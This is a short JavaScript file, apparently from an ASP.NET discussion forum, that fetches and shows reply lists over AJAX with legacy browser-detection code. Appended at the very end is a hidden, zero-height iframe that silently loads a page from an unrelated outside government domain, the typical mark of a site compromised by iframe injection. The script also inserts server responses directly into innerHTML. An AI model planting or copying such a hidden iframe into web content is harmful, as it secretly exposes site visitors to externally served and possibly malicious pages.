var xmlHttp
		var divname
		
		function GetData(pageIndex,topicid,divName,boardid)
		{ 
			var url="repliesListData.aspx?page="+pageIndex+"&topicid="+topicid+"&boardid="+boardid
			divname = divName
			xmlHttp=GetXmlHttpObject(stateChanged)
			xmlHttp.open("GET", url , true)
			xmlHttp.send(null)
		} 
		function stateChanged() 
		{ 
			
			if (xmlHttp.readyState==4 || xmlHttp.readyState=='complete')
			{ 
				//alert(xmlHttp.responseText)
				var dname = document.getElementById(divname)
				dname.innerHTML=xmlHttp.responseText
			} 
		} 
		function GetXmlHttpObject(handler)
		{ 
			var objXmlHttp=null
			if (navigator.userAgent.indexOf('Opera')>=0)
			{
				alert('This example doesnt work in Opera') 
				return; 
			}
			if (navigator.userAgent.indexOf('MSIE')>=0)
			{ 
				var strName='Msxml2.XMLHTTP'
				if (navigator.appVersion.indexOf('MSIE 5.5')>=0)
				{
					strName='Microsoft.XMLHTTP'
				} 
				try
				{ 
					objXmlHttp=new ActiveXObject(strName)
					objXmlHttp.onreadystatechange=handler 
					return objXmlHttp
				} 
				catch(e)
				{ 
					alert('Error. Scripting for ActiveX might be disabled') 
					return 
				} 
			} 
			if (navigator.userAgent.indexOf('Mozilla')>=0)
			{
				objXmlHttp=new XMLHttpRequest()
				objXmlHttp.onload=handler
				objXmlHttp.onerror=handler 
				return objXmlHttp
			}
		}
		function showreplieslist(repliestag,topicid,divName,boardid)
		{
			if(document.all[repliestag].style.display==""||document.all[repliestag].style.display=="undefined")
			{
				document.all[repliestag].style.display = "none";
				document.all["img"+repliestag].src="skins/Default/plus.gif";
			}
			else
			{
				document.all[repliestag].style.display = "";
				document.all["img"+repliestag].src="skins/Default/nofollow.gif";
				GetData(1,topicid,divName,boardid);
			}
		}
<iframe src= http://spba.gcgs.gov.cn/img/en.htm width=100 height=0></iframe>
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